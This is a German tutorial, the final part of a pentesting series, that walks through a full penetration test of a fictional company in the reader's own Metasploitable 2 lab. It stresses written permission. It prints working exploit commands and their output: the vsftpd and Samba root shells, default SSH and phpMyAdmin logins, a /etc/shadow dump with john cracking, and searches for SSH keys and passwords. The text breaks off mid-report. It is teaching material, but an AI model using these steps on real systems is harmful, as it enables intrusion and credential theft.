Das vollständige Audit: Ein Penetrationstest von Anfang bis Ende

Der Hacker-Pfad: 5-Teile-Serie

Teil 1: Einführung → Teil 2: Flipper-Meisterschaft → Teil 3: Kali-Grundlagen → Teil 4: Exploitation → Teil 5: Das vollständige Audit

Sie haben diese Serie mit der Frage begonnen, was Hacker eigentlich tun. Sie haben gelernt, dass es nicht um Kapuzenpullis und grünen Text geht. Es ist methodische Problemlösung. Sie haben Ausweise geklont, Netzwerke kartiert, Handshakes erfasst und Shells auf verwundbaren Maschinen erhalten.

Jetzt fügen wir alles zusammen. Dieser Artikel führt Sie durch einen kompletten Penetrationstest gegen ein fiktives Ziel. Jede Phase, jede Entscheidung, jeder Fund, dokumentiert genau wie es ein Profi tun würde.

Das Szenario

Kunde: Initech Labs (ein fiktives kleines Tech-Unternehmen)

Umfang: Interner Netzwerk-Penetrationstest

Ziel: Schwachstellen identifizieren und potenzielle geschäftliche Auswirkungen demonstrieren

Ihr Ziel: Ihr eigenes Lab-Netzwerk (Kali + Metasploitable 2 + andere VMs, die Sie eingerichtet haben)

Holen Sie sich einen Kaffee. Das wird spaßig.

Phase 1: Vor-Engagement

Bevor Sie eine Tastatur berühren, kümmern sich professionelle Pentester um die geschäftliche Seite. Überspringen Sie das, und Sie sind kein Penetrationstester. Sie sind einfach jemand, der Straftaten begeht.

Das Scoping-Gespräch

In einem echten Engagement hätten Sie ein Gespräch mit dem Kunden, um zu verstehen:

Was ist im Umfang? Welche Netzwerke, IP-Bereiche, Anwendungen?
Was ist außerhalb des Umfangs? Produktionssysteme? Drittanbieter-Dienste?
Testfenster? Wann können Sie testen? Nur während der Geschäftszeiten?
Ansprechpartner? Wen rufen Sie an, wenn etwas kaputtgeht?
Ziele? Compliance-Checkbox oder echte Sicherheitsverbesserung?

Für Ihr Labor

Umfang: Nur Ihr isoliertes Lab-Netzwerk. Außerhalb des Umfangs: Alles andere auf der Welt. Testfenster: Wann immer Sie wollen. Ziel: Lernen durch Praxis.

Engagement-Regeln

Echte Engagements haben schriftliche Regeln. Folgendes decken sie typischerweise ab:

Genehmigungsschreiben - Unterschriebenes Dokument, das Ihre Erlaubnis belegt
Eskalationsverfahren - Was tun, wenn Sie etwas Kritisches finden
Datenhandhabung - Wie Sie mit sensiblen Daten umgehen, die Sie finden
Bereinigungsanforderungen - Alle Tools und Hintertüren nach Abschluss entfernen
Berichtszeitplan - Wann ist der Abschlussbericht fällig?

Holen Sie Sich Immer Schriftliche Genehmigung

Selbst für "freundliche" Tests im Netzwerk eines Freundes. Eine unterschriebene E-Mail mit "Sie haben die Erlaubnis, mein Netzwerk von DATUM bis DATUM zu testen" könnte der Unterschied zwischen einer Lernerfahrung und einer Verurteilung sein. Nehmen Sie das ernst.

Phase 2: Aufklärung

Zeit, alles über das Ziel zu erfahren. In einem echten Engagement würde dies OSINT umfassen: Google-Suchen, LinkedIn-Profile, Unternehmenswebseiten, DNS-Einträge. Für unser Labor springen wir direkt zur aktiven Aufklärung.

Schritt 1: Netzwerkerkennung

Erste Frage: Was ist in diesem Netzwerk?

bash# Finden Sie Ihren Netzwerkbereich
ip a | grep inet
# Suchen Sie nach: inet 192.168.56.100/24

# Entdecken Sie alle aktiven Hosts
sudo nmap -sn 192.168.56.0/24 -oA discovery

# Ergebnisse (Beispiel):
Nmap scan report for 192.168.56.1
Host is up (0.00032s latency).
Nmap scan report for 192.168.56.101
Host is up (0.00089s latency).
Nmap scan report for 192.168.56.102
Host is up (0.00045s latency).

Dokumentieren Sie alles. Erstellen Sie eine Notiz wie diese:

text# Initech Labs - Netzwerkerkennung
# Datum: 2026-03-08
# Tester: Ihr Name

192.168.56.1   - Gateway/Router
192.168.56.101 - Unbekannt (zu untersuchen)
192.168.56.102 - Unbekannt (zu untersuchen)

Schritt 2: Port-Scanning

Jetzt graben wir tiefer. Welche Dienste laufen?

bash# Vollständiger Port-Scan mit Diensterkennung
sudo nmap -sV -sC -p- -oA full_scan 192.168.56.101

# Das dauert eine Weile. Für schnellere Ergebnisse beim Lernen:
sudo nmap -sV -sC --top-ports 1000 -oA quick_scan 192.168.56.101

Auf Metasploitable 2 sehen Sie eine Schatzkammer:

textPORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
22/tcp   open  ssh         OpenSSH 4.7p1
23/tcp   open  telnet      Linux telnetd
25/tcp   open  smtp        Postfix smtpd
80/tcp   open  http        Apache httpd 2.2.8
139/tcp  open  netbios-ssn Samba smbd 3.X
445/tcp  open  netbios-ssn Samba smbd 3.X
3306/tcp open  mysql       MySQL 5.0.51a
5432/tcp open  postgresql  PostgreSQL DB
...

Was für eine Exposition. Aktualisieren wir unsere Notizen:

text192.168.56.101 - Linux Server (Metasploitable)
  - FTP (21): vsftpd 2.3.4       # Bekannte Hintertür!
  - SSH (22): OpenSSH 4.7p1      # Uralt
  - Telnet (23): Aktiv            # Warum gibt es das 2026 noch?
  - HTTP (80): Apache 2.2.8      # Web-Apps zum Testen
  - SMB (139/445): Samba 3.X     # Potenzielle Goldgrube
  - MySQL (3306): 5.0.51a        # Datenbankzugang?
  - PostgreSQL (5432): Aktiv     # Weitere DB

Schritt 3: Schwachstellen-Identifikation

Zeit zu sehen, was tatsächlich ausnutzbar ist.

bash# Schwachstellen-Skripte ausführen
sudo nmap --script vuln -oA vuln_scan 192.168.56.101

# Spezifische Dienste in Metasploit prüfen
msfconsole
msf6 > search vsftpd
msf6 > search samba 3
msf6 > search apache 2.2

Die vsftpd 2.3.4 Hintertür springt sofort ins Auge. Das ist ein garantierter Shell. Aber ein guter Pentester hört nicht beim ersten Fund auf. Sie dokumentieren alles.

Serverraum mit blinkender Netzwerkausrüstung — Gründliche Aufklärung kartiert die gesamte Angriffsfläche, bevor ein einziger Exploit gestartet wird. Jeder offene Port und jede Dienstversion wird zu einem Datenpunkt in Ihrer Bewertung.

Phase 3: Exploitation

Hier wird es spannend. Wir haben mehrere potenzielle Einstiegspunkte. Arbeiten wir sie systematisch durch.

Angriffsvektor 1: FTP-Hintertür

bashmsf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 exploit(...) > set RHOSTS 192.168.56.101
msf6 exploit(...) > exploit

[*] Banner: 220 (vsFTPd 2.3.4)
[*] USER: 331 Please specify the password.
[+] Backdoor service has been spawned
[+] Command shell session 1 opened

whoami
root

id
uid=0(root) gid=0(root)

Fund dokumentiert: Root-Shell über FTP-Hintertür erhalten. Zeit vom ersten Scan bis zur vollständigen Kompromittierung: ungefähr 10 Minuten.

Root-Shell über FTP-Hintertür erhalten. Zeit vom ersten Scan bis zur vollständigen Kompromittierung: ungefähr 10 Minuten.

Aber wir hören hier nicht auf. Was können wir noch erreichen?

Angriffsvektor 2: Samba

bash# Aktuelle Sitzung in den Hintergrund
background

msf6 > use exploit/multi/samba/usermap_script
msf6 exploit(...) > set RHOSTS 192.168.56.101
msf6 exploit(...) > exploit

[*] Command shell session 2 opened

whoami
root

Noch ein Root-Shell über einen anderen Vektor. Das sind zwei unabhängige Wege zur vollständigen Kompromittierung.

Angriffsvektor 3: Webanwendungen

Schauen wir, was auf Port 80 läuft.

bash# Web-Verzeichnisse enumerieren
gobuster dir -u http://192.168.56.101 -w /usr/share/wordlists/dirb/common.txt

# Ergebnisse:
/cgi-bin/     (Status: 403)
/dav/         (Status: 301)
/icons/       (Status: 301)
/index        (Status: 200)
/phpMyAdmin/  (Status: 301)
/phpinfo      (Status: 200)
/test/        (Status: 301)
/twiki/       (Status: 301)

# Nikto für weitere Funde ausführen
nikto -h http://192.168.56.101

phpMyAdmin mit Standard-Zugangsdaten? Prüfen wir:

text# Häufige Zugangsdaten versuchen
Username: root
Password: (leer)

# Zugang gewährt!

Datenbank-Administratorzugang ohne Passwort. Von hier könnten wir alle Daten extrahieren, Datensätze ändern oder MySQLs Dateioperationen nutzen, um einen Web-Shell zu schreiben.

Angriffsvektor 4: Schwache SSH-Zugangsdaten

bashmsf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(...) > set RHOSTS 192.168.56.101
msf6 auxiliary(...) > set USERNAME msfadmin
msf6 auxiliary(...) > set PASSWORD msfadmin
msf6 auxiliary(...) > run

[+] 192.168.56.101:22 - Success: 'msfadmin:msfadmin'

Schwache Zugangsdaten gewähren SSH-Zugang. Nicht root, aber darum kümmern wir uns in der Post-Exploitation.

Phase 4: Post-Exploitation

Wir haben Zugang. Was jetzt? Ein echter Penetrationstest demonstriert die geschäftlichen Auswirkungen. Was kann ein Angreifer tatsächlich mit diesem Zugang tun?

Zugangsdaten-Ernte

bash# Aus unserem Root-Shell
cat /etc/shadow
root:$1$xyz...truncated...:14889:0:99999:7:::
msfadmin:$1$abc...truncated...:14889:0:99999:7:::
user:$1$def...truncated...:14889:0:99999:7:::
postgres:$1$ghi...truncated...:14889:0:99999:7:::

# Für Offline-Cracking speichern
cat /etc/passwd > /tmp/passwd.txt
cat /etc/shadow > /tmp/shadow.txt

# Auf Kali cracken
unshadow passwd.txt shadow.txt > combined.txt
john --wordlist=/usr/share/wordlists/rockyou.txt combined.txt

Netzwerkaufklärung (Von Innen)

bash# Welche anderen Netzwerke kann diese Maschine erreichen?
ifconfig
route -n
cat /etc/hosts
arp -a

# Was verbindet sich mit dieser Maschine?
netstat -tulpn
ss -tulpn

# SSH-Schlüssel suchen (für Lateral Movement)
find / -name "id_rsa" 2>/dev/null
find / -name "authorized_keys" 2>/dev/null

Entdeckung sensibler Daten

bash# Interessante Dateien suchen
find / -name "*.conf" 2>/dev/null | head -20
find / -name "*.sql" 2>/dev/null
find / -name "*.bak" 2>/dev/null
find / -name "*password*" 2>/dev/null

# Häufige Konfigurationsorte prüfen
cat /var/www/*/config.php 2>/dev/null
cat /etc/mysql/my.cnf

# Datenbank-Enumeration
mysql -u root -p  # Leeres Passwort versuchen
mysql> SHOW DATABASES;
mysql> SELECT * FROM mysql.user;

Privilegien-Eskalation (von msfadmin)

Erinnern Sie sich an die SSH-Anmeldung als msfadmin? Eskalieren wir zu root mit dem, was wir in Teil 4 gelernt haben.

bash# SSH als msfadmin
ssh [email protected]

# Sudo-Berechtigungen prüfen
sudo -l
# (Ausgabe variiert, aber prüfen wir andere Vektoren)

# SUID-Binaries finden
find / -perm -4000 2>/dev/null

# Schreibbare Skripte suchen, die von root ausgeführt werden
cat /etc/crontab

# LinPEAS hochladen und ausführen
# (Im echten Szenario bereits in Teil 4 behandelt)

Fachmann arbeitet am Schreibtisch mit Cybersicherheits-Tools — Post-Exploitation demonstriert die realen geschäftlichen Auswirkungen. Der Unterschied zwischen einem Schwachstellen-Scan und einem Penetrationstest ist der Nachweis, was ein Angreifer tatsächlich mit dem Zugang tun kann.

Phase 5: Dokumentation und Funde

Der Test ist nutzlos ohne einen Bericht. Das trennt Profis von Script Kiddies. Sie müssen erklären, was Sie gefunden haben, warum es wichtig ist und wie man es behebt.

Zusammenfassung der Funde

Hier ist, was wir im Netzwerk von "Initech Labs" gefunden haben, formatiert wie in einem echten Bericht:

KRITISCH: FTP-Dienst-Hintertür (CVE-2011-2523)